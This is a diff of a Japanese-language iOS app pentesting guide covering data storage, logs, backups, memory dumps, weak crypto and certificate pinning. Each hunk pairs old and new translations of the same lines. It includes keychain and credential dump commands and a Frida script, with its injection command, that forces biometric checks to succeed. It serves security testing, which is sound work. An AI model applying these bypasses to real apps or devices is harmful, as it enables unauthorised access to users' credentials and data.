Yapデータベースはsqliteデータベースであるため、前のセクションで提案されたコマンドを使用して見つけることができます。
|
||||
|
||||
### Other SQLite Databases
|
||||
|
||||
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を**保存**しており、暗号化されていない可能性があります。したがって、アプリケーションのディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を保存しており、暗号化されていない可能性があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。データが保存されているアプリケーションディレクトリに移動してください(`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase Real-Time Databases
|
||||
|
||||
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、接続されたすべてのクライアントにリアルタイムで同期されます。
|
||||
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホスト型データベース**を利用できます。データはJSON形式で保存され、すべての接続されたクライアントにリアルタイムで同期されます。
|
||||
|
||||
誤って構成されたFirebaseデータベースを確認する方法は、こちらで見つけることができます:
|
||||
誤って構成されたFirebaseデータベースを確認する方法は、こちらで確認できます:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||||
@ -477,17 +477,17 @@ let realm = try Realm(configuration: config)
|
||||
fatalError("Error opening realm: \(error)")
|
||||
}
|
||||
```
|
||||
### Couchbase Lite データベース
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) は、**軽量**で**組み込み**のデータベースエンジンとして説明されており、**ドキュメント指向**(NoSQL)アプローチに従っています。**iOS**および**macOS**にネイティブに設計されており、データをシームレスに同期する機能を提供します。
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) は、**軽量**で**組み込み型**のデータベースエンジンであり、**ドキュメント指向**(NoSQL)アプローチに従っています。**iOS**および**macOS**にネイティブに設計されており、データをシームレスに同期する機能を提供します。
|
||||
|
||||
デバイス上の潜在的な Couchbase データベースを特定するには、次のディレクトリを検査する必要があります:
|
||||
デバイス上の潜在的なCouchbaseデータベースを特定するには、次のディレクトリを検査する必要があります:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
### クッキー
|
||||
### Cookies
|
||||
|
||||
iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**にアプリのクッキーを保存します。しかし、開発者は時々、**バックアップでアクセスできるため、**クッキーを**keychain**に保存することを決定します。
|
||||
iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**にアプリのクッキーを保存します。しかし、開発者は時々、**バックアップでアクセス可能なため、**それらを**keychain**に保存することを決定します。
|
||||
|
||||
クッキーファイルを検査するには、[**このpythonスクリプト**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)を使用するか、objectionの**`ios cookies get`**を使用できます。\
|
||||
**また、objectionを使用して**これらのファイルをJSON形式に変換し、データを検査することもできます。
|
||||
@ -508,11 +508,11 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
|
||||
```
|
||||
### キャッシュ
|
||||
|
||||
デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開き、操作できます。これは**通常のSQLiteデータベース**です。
|
||||
デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開いて操作できます。これは**通常のSQLiteデータベース**です。
|
||||
|
||||
このデータのキャッシングを無効にすることを**推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
|
||||
このデータのキャッシングを**無効にすることを推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
|
||||
|
||||
1. ログアウト後にキャッシュされたレスポンスを削除することを推奨します。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)メソッドを使用して行うことができます。このメソッドは次のように呼び出すことができます:
|
||||
1. ログアウト後にキャッシュされたレスポンスを削除することを推奨します。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)というメソッドを使用して行うことができます。このメソッドは次のように呼び出すことができます:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
@ -528,11 +528,11 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
|
||||
|
||||
### スナップショット
|
||||
|
||||
ホームボタンを押すたびに、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**超えて****持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
|
||||
ホームボタンを押すと、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**越えて****持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
|
||||
|
||||
iPhoneが脱獄されていない限り、**攻撃者**はこれらのスクリーンショットを見るために**デバイス**に**アクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダーに保存されます(信頼されたコンピュータはiOS 7.0以降、ファイルシステムにアクセスできません)。
|
||||
|
||||
この悪影響を防ぐ一つの方法は、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に、空白の画面を表示するか、機密データを削除することです。
|
||||
この悪影響を防ぐ方法の一つは、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に空白の画面を表示するか、機密データを削除することです。
|
||||
|
||||
以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。
|
||||
|
||||
@ -570,9 +570,9 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
|
||||
### Keychain
|
||||
|
||||
iOSキーチェーンにアクセスし管理するためのツールとして、[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) のようなものがあり、脱獄したデバイスに適しています。さらに、[**Objection**](https://github.com/sensepost/objection) は、同様の目的のために `ios keychain dump` コマンドを提供します。
|
||||
iOSキーチェーンにアクセスし管理するためのツールとして、[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) が利用可能で、脱獄したデバイスに適しています。さらに、[**Objection**](https://github.com/sensepost/objection) は、同様の目的のために `ios keychain dump` コマンドを提供します。
|
||||
|
||||
#### **Credentialsの保存**
|
||||
#### **資格情報の保存**
|
||||
|
||||
**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、以下のSwiftコードが使用されます:
|
||||
```swift
|
||||
@ -580,16 +580,16 @@ NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
これらの保存された資格情報を抽出するために、Objectionのコマンド `ios nsurlcredentialstorage dump` が利用されます。
|
||||
これらの保存された認証情報を抽出するために、Objectionのコマンド `ios nsurlcredentialstorage dump` が利用されます。
|
||||
|
||||
## **カスタムキーボードとキーボードキャッシュ**
|
||||
|
||||
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能を拡張しますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ネットワークアクセスを必要とするキーボードについてはユーザーに通知されます。アプリは、機密情報の入力に対してカスタムキーボードの使用を制限するべきです。
|
||||
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能が拡張されますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ネットワークアクセスを必要とするキーボードについてはユーザーに通知されます。アプリは、機密情報の入力にカスタムキーボードの使用を制限するべきです。
|
||||
|
||||
**セキュリティ推奨事項:**
|
||||
|
||||
- セキュリティを強化するために、サードパーティ製キーボードを無効にすることが推奨されます。
|
||||
- デフォルトのiOSキーボードの自動修正および自動提案機能に注意してください。これにより、`Library/Keyboard/{locale}-dynamic-text.dat` または `/private/var/mobile/Library/Keyboard/dynamic-text.dat` にあるキャッシュファイルに機密情報が保存される可能性があります。これらのキャッシュファイルは、機密データのために定期的にチェックする必要があります。キャッシュデータをクリアするために、**設定 > 一般 > リセット > キーボード辞書をリセット** を通じてキーボード辞書をリセットすることが推奨されます。
|
||||
- デフォルトのiOSキーボードの自動修正および自動提案機能に注意してください。これにより、`Library/Keyboard/{locale}-dynamic-text.dat` または `/private/var/mobile/Library/Keyboard/dynamic-text.dat` に保存されたキャッシュファイルに機密情報が保存される可能性があります。これらのキャッシュファイルは、機密データのために定期的にチェックする必要があります。キャッシュデータをクリアするために、**設定 > 一般 > リセット > キーボード辞書をリセット** することが推奨されます。
|
||||
- ネットワークトラフィックを傍受することで、カスタムキーボードがリモートでキー入力を送信しているかどうかを確認できます。
|
||||
|
||||
### **テキストフィールドキャッシュの防止**
|
||||
@ -606,13 +606,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **ログ**
|
||||
|
||||
コードのデバッグには、しばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリにアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
|
||||
コードのデバッグには、**ロギング**の使用がよく含まれます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリがアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
|
||||
|
||||
これらの制限にもかかわらず、**ロック解除されたデバイスに物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後も、ログはディスク上に残ることに注意が必要です。
|
||||
これらの制限にもかかわらず、**物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスクに残ることに注意が必要です。
|
||||
|
||||
リスクを軽減するために、**アプリと徹底的に対話し**、すべての機能や入力を探索して、機密情報が意図せずログに記録されていないことを確認することが推奨されます。
|
||||
|
||||
アプリのソースコードをレビューして潜在的な漏洩を探す際には、`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`などのキーワードを使用して**定義済み**および**カスタムロギングステートメント**の両方を探してください。また、カスタム実装のための`Logging`や`Logfile`の言及も確認してください。
|
||||
アプリのソースコードをレビューして潜在的な漏洩を探す際には、`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`などのキーワードを使用して、**事前定義された**および**カスタムロギングステートメント**の両方を探してください。また、カスタム実装のための`Logging`や`Logfile`の言及も確認してください。
|
||||
|
||||
### **システムログの監視**
|
||||
|
||||
@ -642,7 +642,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### セキュリティリスク
|
||||
|
||||
バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**をもたらします。これらのリスクを軽減するために、**アプリのディレクトリやそのサブディレクトリ内に機密情報をプレーンテキストで保存しないこと**が推奨されます。
|
||||
バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**を伴います。これらのリスクを軽減するために、**アプリのディレクトリやそのサブディレクトリ内に機密情報をプレーンテキストで保存しないこと**が推奨されます。
|
||||
|
||||
### バックアップからのファイルの除外
|
||||
|
||||
@ -650,9 +650,9 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### 脆弱性のテスト
|
||||
|
||||
アプリのバックアップセキュリティを評価するには、まず**バックアップを作成**し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスに従ってそれを見つけます。バックアップを分析して、アプリの動作に影響を与える可能性のある機密データや設定が変更される可能性があるかを確認します。
|
||||
アプリのバックアップセキュリティを評価するには、まず**Finderを使用してバックアップを作成**し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスに従ってそれを見つけます。バックアップ内の機密データやアプリの動作に影響を与える可能性のある設定を分析します。
|
||||
|
||||
機密情報は、コマンドラインツールや[ iMazing](https://imazing.com)のようなアプリケーションを使用して探し出すことができます。暗号化されたバックアップの場合、バックアップのルートにある"Manifest.plist"ファイルの"IsEncrypted"キーを確認することで、暗号化の存在を確認できます。
|
||||
機密情報は、コマンドラインツールや[ iMazing](https://imazing.com)のようなアプリケーションを使用して探し出すことができます。暗号化されたバックアップの場合、バックアップのルートにある"Manifest.plist"ファイル内の"IsEncrypted"キーを確認することで、暗号化の存在を確認できます。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -669,11 +669,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### アプリの動作の変更
|
||||
|
||||
バックアップの変更を通じてアプリの動作を変更する例として、[Bitherビットコインウォレットアプリ](https://github.com/bither/bither-ios)が示されています。このアプリでは、UIロックPINが**pin_code**キーの下に`net.bither.plist`内に保存されています。このキーをplistから削除し、バックアップを復元することで、PINの要求が解除され、制限のないアクセスが可能になります。
|
||||
バックアップの変更を通じてアプリの動作を変更する例は、[Bitherビットコインウォレットアプリ](https://github.com/bither/bither-ios)で示されており、UIロックPINは**pin_code**キーの下に`net.bither.plist`内に保存されています。このキーをplistから削除し、バックアップを復元することで、PINの要求が解除され、制限のないアクセスが可能になります。
|
||||
|
||||
## 機密データのメモリテストに関する概要
|
||||
|
||||
アプリケーションのメモリに保存された機密情報を扱う際には、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチは2つあります:**メモリダンプの作成**と**リアルタイムでのメモリ分析**です。どちらの方法にも、ダンププロセスや分析中に重要なデータを見逃す可能性などの課題があります。
|
||||
アプリケーションのメモリに保存された機密情報を扱う際には、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチは2つあり、**メモリダンプの作成**と**リアルタイムでのメモリ分析**です。どちらの方法にも、ダンププロセスや分析中に重要なデータを見逃す可能性などの課題があります。
|
||||
|
||||
## **メモリダンプの取得と分析**
|
||||
|
||||
@ -687,7 +687,7 @@ $ strings memory > strings.txt
|
||||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
より詳細な分析、特定のデータタイプやパターンの検索を含むために、**radare2**は広範な検索機能を提供します:
|
||||
より詳細な分析、特定のデータタイプやパターンの検索を含む、**radare2**は広範な検索機能を提供します:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
@ -700,39 +700,39 @@ $ r2 <name_of_your_dump_file>
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
```
|
||||
## ブロークン暗号技術
|
||||
## Broken Cryptography
|
||||
|
||||
### 不適切なキー管理プロセス
|
||||
### Poor Key Management Processes
|
||||
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは行うべきではなく、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があります。
|
||||
|
||||
### 安全でないおよび/または非推奨のアルゴリズムの使用
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
|
||||
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
|
||||
開発者は、**deprecated algorithms**を使用して認証の**checks**を行ったり、データを**store**または**send**したりすべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**hashes**を使用する場合、ソルトを使用したハッシュのブルートフォース**resistant**なものを使用するべきです。
|
||||
|
||||
### チェック
|
||||
### Check
|
||||
|
||||
主なチェックは、コード内に**ハードコーディングされた**パスワード/秘密があるか、またはそれらが**予測可能**であるか、コードが何らかの**弱い****暗号技術**アルゴリズムを使用しているかを確認することです。
|
||||
主なチェックは、コード内に**hardcoded**のパスワード/秘密があるか、またはそれらが**predictable**であるか、コードが何らかの**weak** **cryptography**アルゴリズムを使用しているかを確認することです。
|
||||
|
||||
自動的に**crypto** **ライブラリ**を**objection**を使用して**モニタリング**できることを知っておくと興味深いです。
|
||||
**crypto** **libraries**を自動的に**monitor**できることを知っておくと興味深いです。**objection**を使用して:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
**iOSの暗号APIとライブラリに関する**詳細情報は、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
|
||||
より**詳細情報**については、iOSの暗号APIおよびライブラリに関して、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
|
||||
|
||||
## ローカル認証
|
||||
|
||||
**ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムが回避される可能性があるということです。
|
||||
|
||||
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に扱うための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
|
||||
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に処理するための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
|
||||
|
||||
Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢があります:
|
||||
|
||||
- **`LocalAuthentication.framework`**:生体データへのアクセスなしで高レベルのユーザー認証を行います。
|
||||
- **`Security.framework`**:生体認証を使用して秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。
|
||||
- **`Security.framework`**:生体認証で秘密データを保護するための低レベルのキーチェーンサービスアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。
|
||||
|
||||
> [!CAUTION]
|
||||
> ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主に認証プロセスのためにデータを送信せずにブール値を返すため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
|
||||
> ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主にブール値を返すだけで、認証プロセスのためのデータを送信しないため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
|
||||
|
||||
### ローカル認証の実装
|
||||
|
||||
@ -749,7 +749,7 @@ iOSアプリで**ローカル認証**を実装するには、**キーチェー
|
||||
|
||||
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードで成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
|
||||
|
||||
以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。
|
||||
以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するためのアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -876,22 +876,22 @@ NSLog(@"Something went wrong");
|
||||
|
||||
### 検出
|
||||
|
||||
アプリ内でのフレームワークの使用は、アプリバイナリの共有ダイナミックライブラリのリストを分析することで検出できます。これは `otool` を使用して行うことができます:
|
||||
アプリ内でのフレームワークの使用は、アプリのバイナリの共有ダイナミックライブラリのリストを分析することで検出できます。これは `otool` を使用して行うことができます:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
アプリで `LocalAuthentication.framework` が使用されている場合、出力には以下の2行が含まれます(`LocalAuthentication.framework` は内部で `Security.framework` を使用していることを忘れないでください):
|
||||
`LocalAuthentication.framework`がアプリで使用されている場合、出力には以下の2行が含まれます(`LocalAuthentication.framework`は内部で`Security.framework`を使用していることを忘れないでください):
|
||||
```bash
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
`Security.framework`が使用されている場合、2番目のもののみが表示されます。
|
||||
もし`Security.framework`が使用されている場合、2番目のものだけが表示されます。
|
||||
|
||||
### ローカル認証フレームワークバイパス
|
||||
|
||||
#### **Objection**
|
||||
|
||||
**Objection Biometrics Bypass**を通じて、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある技術を使用して、**LocalAuthentication**メカニズムを克服することができます。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。
|
||||
**Objection Biometrics Bypass**を通じて、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある技術が**LocalAuthentication**メカニズムを克服するために利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。
|
||||
|
||||
このバイパスを有効にするために、次のコマンドが使用されます:
|
||||
```bash
|
||||
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
ローカル認証の**バイパス**を達成するために、Fridaスクリプトが作成されます。このスクリプトは**evaluatePolicy**チェックを対象とし、そのコールバックを傍受して**success=1**を返すようにします。コールバックの動作を変更することで、認証チェックは効果的にバイパスされます。
|
||||
ローカル認証の**バイパス**を達成するために、Fridaスクリプトが作成されます。このスクリプトは**evaluatePolicy**チェックを対象とし、そのコールバックを傍受して**success=1**を返すようにします。コールバックの動作を変更することで、認証チェックが効果的にバイパスされます。
|
||||
|
||||
以下のスクリプトは、**evaluatePolicy**メソッドの結果を変更するために注入されます。コールバックの結果を常に成功を示すように変更します。
|
||||
```swift
|
||||
@ -958,11 +958,11 @@ return result;
|
||||
console.log("Objective-C Runtime is not available!");
|
||||
}
|
||||
```
|
||||
バイオメトリック認証をバイパスし、Fridaスクリプトを注入するには、次のコマンドを使用します:
|
||||
バイオメトリック認証をバイパスするためにFridaスクリプトを注入するには、次のコマンドを使用します:
|
||||
```bash
|
||||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||||
```
|
||||
## IPCを通じた機密機能の露出
|
||||
## センシティブな機能のIPCを通じた露出
|
||||
|
||||
### カスタムURIハンドラー / ディープリンク / カスタムスキーム
|
||||
|
||||
@ -1022,37 +1022,37 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
|
||||
|
||||
### 証明書ピンニング
|
||||
|
||||
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になる可能性があります。**\
|
||||
脱獄デバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
|
||||
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になることがあります。**\
|
||||
脱獄したデバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
|
||||
|
||||
また、**objectionの** `ios sslpinning disable`を使用することもできます。
|
||||
|
||||
## その他
|
||||
|
||||
- **`/System/Library`**には、システムアプリケーションによって使用されるフレームワークがインストールされています。
|
||||
- App Storeからユーザーがインストールしたアプリケーションは**`/User/Applications`**内にあります。
|
||||
- App Storeからユーザーがインストールしたアプリケーションは、**`/User/Applications`**内にあります。
|
||||
- **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
|
||||
- **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。
|
||||
- インストールされたアプリケーションのフォルダ内(**`/User/Applications/<APP ID>/`**)には、いくつかの興味深いファイルがあります:
|
||||
- **`iTunesArtwork`**:アプリによって使用されるアイコン
|
||||
- **`iTunesMetadata.plist`**:App Storeで使用されるアプリの情報
|
||||
- **`/Library/*`**:設定やキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。
|
||||
- **`/Library/*`**:設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に行われたスナップショットが含まれています。
|
||||
|
||||
### ホットパッチ/強制更新
|
||||
|
||||
開発者は、アプリケーションをApp Storeに再提出して承認を待つことなく、**アプリのすべてのインストールを即座にパッチ**できます。\
|
||||
この目的のために通常は[**JSPatch**](https://github.com/bang590/JSPatch)**が使用されます。**しかし、[Siren](https://github.com/ArtSabintsev/Siren)や[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)などの他のオプションもあります。\
|
||||
**これは悪意のあるサードパーティSDKによって悪用される可能性のある危険なメカニズムであるため、自動更新に使用される方法(ある場合)を確認し、テストすることをお勧めします。**この目的のためにアプリの以前のバージョンをダウンロードしてみることができます。
|
||||
開発者は、アプリケーションをApp Storeに再提出して承認を待つことなく、**アプリのすべてのインストールを瞬時にパッチ**できます。\
|
||||
この目的のために通常は[**JSPatch**](https://github.com/bang590/JSPatch)が使用されますが、[Siren](https://github.com/ArtSabintsev/Siren)や[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)などの他のオプションもあります。\
|
||||
**これは悪意のあるサードパーティSDKによって悪用される可能性のある危険なメカニズムであるため、自動更新に使用される方法(もしあれば)を確認し、テストすることをお勧めします。** この目的のためにアプリの以前のバージョンをダウンロードしてみることができます。
|
||||
|
||||
### サードパーティ
|
||||
|
||||
